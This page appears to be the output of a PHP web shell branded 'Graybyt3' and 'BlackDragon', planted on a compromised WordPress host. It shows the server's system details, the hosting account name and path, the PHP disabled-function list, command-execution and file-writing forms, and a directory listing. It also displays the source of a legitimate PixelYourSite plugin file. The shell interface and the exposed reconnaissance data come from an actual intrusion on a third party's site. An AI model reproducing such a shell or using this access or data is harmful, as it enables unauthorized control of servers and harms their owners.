Graybyt3 Was Here
Linux webservices-17 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Apache/2.4.65 (Unix) OpenSSL/1.1.1f
127.0.0.1
/
home
/
sihate-co
/
webapps
/
sihate-co
/
public
/
wp-content
/
plugins
/
pixelyoursite
/
includes
/
enrich
[ HOME ]
Exec
Submit
File Name : class_enrich_order.php
<?php namespace PixelYourSite; class EnrichOrder { private static $_instance; public static function instance() { if ( is_null( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } public function init() { //woo if(PYS()->getOption("woo_enabled_save_data_to_orders")) { add_action( 'woocommerce_new_order',array($this,'woo_save_checkout_fields'),10, 1); add_action( 'add_meta_boxes', array($this,'woo_add_order_meta_boxes') ); if(PYS()->getOption("woo_add_enrich_to_admin_email")) { add_action( 'woocommerce_email_customer_details', array($this,'woo_add_enrich_to_admin_email'),80,4 ); } } // edd if(PYS()->getOption("edd_enabled_save_data_to_orders")) { add_filter('edd_payment_meta', array($this, 'edd_save_checkout_fields'),10,2); add_action('edd_view_order_details_main_after', array($this, 'add_edd_order_details')); } } function add_edd_order_details($payment_id) { echo '<div id="edd-payment-notes" class="postbox"> <h3 class="hndle"><span>PixelYourSite</span></h3>'; echo "<div style='margin:20px'><p>With the paid plugin, you can see more data on the Easy Digital Downloads Reports page. <a target='_blank' href='https://www.pixelyoursite.com/easy-digital-downloads-first-party-reports/?utm_source=free-plugin-edd-order&utm_medium=free-plugin-edd-order&utm_campaign=free-plugin-edd-order&utm_content=free-plugin-edd-order&utm_term=free-plugin-edd-order'>Click here for details.</a> </p>You can stop storing this data from the plugin's <a href='".admin_url("admin.php?page=pixelyoursite&tab=edd")."' target='_blank'>Easy Digital Downloads page</a></div>"; include 'views/html-edd-order-box.php'; echo '</div>'; } function woo_add_order_meta_boxes () { $screen = isWooUseHPStorage() ? wc_get_page_screen_id( 'shop-order' ) : 'shop_order'; add_meta_box( 'pys_enrich_fields_woo', __('PixelYourSite','pixelyoursite'), array($this,"woo_render_order_fields"), $screen); } function woo_render_order_fields($post) { if ($post instanceof \WP_Post) { $orderId = $post->ID; } elseif (method_exists($post, 'get_id')) { $orderId = $post->get_id(); } else { // Обработка ситуации, когда $post не является ни объектом \WP_Post, ни объектом с методом get_id(). $orderId = null; // Или другое значение по умолчанию. } echo "<div style='margin:20px 10px'><p>With the paid plugin, you can see more data on the WooCommerce Reports page. <a href='https://www.pixelyoursite.com/woocommerce-first-party-reports?utm_source=free-plugin&utm_medium=order-page&utm_campaign=reports-order-page&utm_content=woocommerce-reports-client-page&utm_term=order-page-reports' target='_blank'>Click here for details</a> </p>You can stop storing this data from the plugin's <a href='".admin_url("admin.php?page=pixelyoursite&tab=woo")."' target='_blank'>WooCommerce page</a>.</div>"; include 'views/html-order-meta-box.php'; } function woo_save_checkout_fields($order_id) { $pysData = []; $pysData = $this->getPysData(); $order = wc_get_order($order_id); if ( isWooCommerceVersionGte('3.0.0') ) { // WooCommerce >= 3.0 if($order) { $order->update_meta_data("pys_enrich_data",$pysData); $order->save(); } } else { // WooCommerce < 3.0 update_post_meta( $order_id, 'pys_enrich_data', $pysData ); } } /** * @param \WC_Order$order * @param $sent_to_admin * @param $plain_text * @param $email */ function woo_add_enrich_to_admin_email($order, $sent_to_admin) { if($sent_to_admin) { $orderId = $order->get_id(); echo "<h2 style='text-align: center'>". __('PixelYourSite','pixelyoursite')."</h2>"; echo "Your clients don't see this information! We send it to you in this \"New Order\" email. If you want to remove this data from the \"New Order\" email, open <a href='".admin_url("admin.php?page=pixelyoursite&tab=woo")."' target='_blank'>PixelYourSite's WooCommerce page</a>, disable \"Send reports data to the New Order email\" and save. <br/>With PixelYourSite Professional, you can view and download this data from the plugin's own reports page. Find out how WooCommerce Reports work and how to visualize and download your data: <a href='https://www.pixelyoursite.com/woocommerce-first-party-reports?utm_source=free-plugin&utm_medium=order-email&utm_campaign=order-email-link&utm_content=woocommerce-reports&utm_term=woocommerce-reports-email-link' target='_blank'>Click here for details</a>.<br/>"; include 'views/html-order-meta-box.php'; } } function edd_save_checkout_fields( $payment_meta ,$init_payment_data) { if ( 0 !== did_action('edd_pre_process_purchase') ) { $pysData = []; $pys_landing = ''; $pys_source = ''; $utms = getUtms(true); $utms_id = getUtmsId(true); $pys_utm = implode("|", array_map(function ($key, $value) { return "$key:$value"; }, array_keys($utms), $utms)); $pys_utm_id = implode("|", array_map(function ($key, $value) { return "$key:$value"; }, array_keys($utms_id), $utms_id)); $pys_browser_time = getBrowserTime(); if (isset($_COOKIE['pys_landing_page']) || isset($_SESSION['LandingPage'])) { $pys_landing = $_COOKIE['pys_landing_page'] ?? $_SESSION['LandingPage']; } if (isset($_COOKIE['pysTrafficSource']) || isset($_SESSION['TrafficSource'])) { $pys_source = $_COOKIE['pysTrafficSource'] ?? $_SESSION['TrafficSource']; } $pysData['pys_landing'] = isset($_REQUEST['pys_landing']) ? sanitize_text_field($_REQUEST['pys_landing']) : $pys_landing; $pysData['pys_source'] = isset($_REQUEST['pys_source']) ? sanitize_text_field($_REQUEST['pys_source']) : $pys_source; $pysData['pys_utm'] = isset($_REQUEST['pys_utm']) ? sanitize_text_field($_REQUEST['pys_utm']) : $pys_utm; $pysData['pys_browser_time'] = isset($_REQUEST['pys_browser_time']) ? sanitize_text_field($_REQUEST['pys_browser_time']) : $pys_browser_time; $pysData['last_pys_landing'] = isset($_REQUEST['last_pys_landing']) ? sanitize_text_field($_REQUEST['last_pys_landing']) : $pys_landing; $pysData['last_pys_source'] = isset($_REQUEST['last_pys_source']) ? sanitize_text_field($_REQUEST['last_pys_source']) : $pys_source; $pysData['last_pys_utm'] = isset($_REQUEST['last_pys_utm']) ? sanitize_text_field($_REQUEST['last_pys_utm']) : $pys_utm; $pysData['pys_utm_id'] = isset($_REQUEST['pys_utm_id']) ? sanitize_text_field($_REQUEST['pys_utm_id']) : $pys_utm_id; $pysData['last_pys_utm_id'] = isset($_REQUEST['last_pys_utm_id']) ? sanitize_text_field($_REQUEST['last_pys_utm_id']) : $pys_utm_id; $payment_meta['pys_enrich_data'] = $pysData; } return $payment_meta; } function getPysData(){ $pysData = array(); $pys_landing = ''; $pys_source = ''; $utms = getUtms(true); $utms_id = getUtmsId(true); $pys_utm = implode("|", array_map(function ($key, $value) { return "$key:$value"; }, array_keys($utms), $utms)); $pys_utm_id = implode("|", array_map(function ($key, $value) { return "$key:$value"; }, array_keys($utms_id), $utms_id)); $pys_browser_time = getBrowserTime(); if (isset($_COOKIE['pys_landing_page']) || isset($_SESSION['LandingPage'])) { $pys_landing = $_COOKIE['pys_landing_page'] ?? $_SESSION['LandingPage']; } if (isset($_COOKIE['pysTrafficSource']) || isset($_SESSION['TrafficSource'])) { $pys_source = $_COOKIE['pysTrafficSource'] ?? $_SESSION['TrafficSource']; } PYS()->getLog()->debug("Check", $pys_source); $pysData['pys_landing'] = isset($_REQUEST['pys_landing']) ? sanitize_text_field($_REQUEST['pys_landing']) : $pys_landing; $pysData['pys_source'] = isset($_REQUEST['pys_source']) ? sanitize_text_field($_REQUEST['pys_source']) : $pys_source; $pysData['pys_utm'] = isset($_REQUEST['pys_utm']) ? sanitize_text_field($_REQUEST['pys_utm']) : $pys_utm; $pysData['pys_browser_time'] = isset($_REQUEST['pys_browser_time']) ? sanitize_text_field($_REQUEST['pys_browser_time']) : $pys_browser_time; $pysData['last_pys_landing'] = isset($_REQUEST['last_pys_landing']) ? sanitize_text_field($_REQUEST['last_pys_landing']) : $pys_landing; $pysData['last_pys_source'] = isset($_REQUEST['last_pys_source']) ? sanitize_text_field($_REQUEST['last_pys_source']) : $pys_source; $pysData['last_pys_utm'] = isset($_REQUEST['last_pys_utm']) ? sanitize_text_field($_REQUEST['last_pys_utm']) : $pys_utm; $pysData['pys_utm_id'] = isset($_REQUEST['pys_utm_id']) ? sanitize_text_field($_REQUEST['pys_utm_id']) : $pys_utm_id; $pysData['last_pys_utm_id'] = isset($_REQUEST['last_pys_utm_id']) ? sanitize_text_field($_REQUEST['last_pys_utm_id']) : $pys_utm_id; return $pysData; } } /** * @return EnrichOrder */ function EnrichOrder() { return EnrichOrder::instance(); } EnrichOrder();
Back
Folder Name
Submit
File Name
File Content
Submit
System Information
Uname > Linux webservices-17 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 Software > Apache/2.4.65 (Unix) OpenSSL/1.1.1f PHP > 7.4.33 Protocol > HTTP/1.0 IP / Port > 127.0.0.1 / 80 Mail > ON Curl > ON Owner > sihate-co MySQL > OFF Disable Function > getmyuid,passthru,leak,listen,diskfreespace,tmpfile,link,ignore_user_abort,shell_exec,dl,set_time_limit,exec,system,highlight_file,source,show_source,fpassthru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_nice,proc_terminate,escapeshellcmd,ini_alter,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,symlink,posix_geteuid,ini_alter,socket_listen,socket_create_listen,socket_read,socket_create_pair,stream_socket_server
*ReClick For Close
File : BlackDragon /about/function.php
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
1002/1003
0555
2024-12-09 10:40:55
..
dir
-
1002/1003
0555
2024-12-09 10:40:55
views
dir
-
1002/1003
0555
2024-12-03 02:16:06
class_enrich_order.php
text/x-php
9.59 KB
1002/1003
0644
2025-06-11 12:52:04
© BlackDragon